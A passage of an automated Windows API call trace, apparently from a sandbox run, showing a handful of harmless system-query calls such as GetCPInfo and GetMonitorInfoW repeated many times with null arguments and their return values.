GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.680] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.680] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.680] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.680] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.680] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.680] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.680] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.680] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.680] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.680] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.680] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.680] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.681] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.681] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.681] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.681] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.681] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.681] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.681] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.681] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.681] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.681] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.681] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.681] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.681] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.681] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.681] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.681] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.681] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.681] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.681] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.681] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.681] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.681] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.681] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.681] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.681] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.681] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.681] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.681] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.681] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.681] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.682] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.682] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.682] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.682] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.682] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.682] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.682] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.682] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.682] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.682] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.682] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.682] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.682] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.682] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.682] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.682] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.682] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.682] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.682] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.682] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.682] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.682] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.682] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.682] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.682] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.682] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.682] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.682] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.682] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.682] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.682] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.682] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.682] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.683] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.683] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.683] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.683] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.683] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.683] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.683] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.683] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.683] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.683] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.683] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.683] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.683] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.683] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.683] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.683] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.683] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.683] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.683] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.683] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.683] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.683] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.683] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.683] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.683] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.683] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.683] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.683] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.683] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.683] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.683] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.683] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.683] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.683] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.684] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.684] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.684] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.684] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.684] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.684] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.684] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.684] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.684] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.684] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.684] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.684] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.684] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.684] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.684] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.684] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.684] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.684] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.684] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.684] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.684] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.684] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.684] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.684] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.684] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.684] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.684] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.684] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.684] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.684] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.684] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.684] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.684] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.685] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.685] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.685] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.685] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.685] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.685] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.685] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.685] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.685] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.685] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.685] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.685] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.685] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.685] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.685] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.685] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.685] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.685] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.685] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.685] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.685] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.685] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.685] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.685] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.685] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.685] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.685] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.685] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.685] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.685] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.685] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.685] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.686] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.686] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.686] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.686] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.686] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.686] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.686] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: 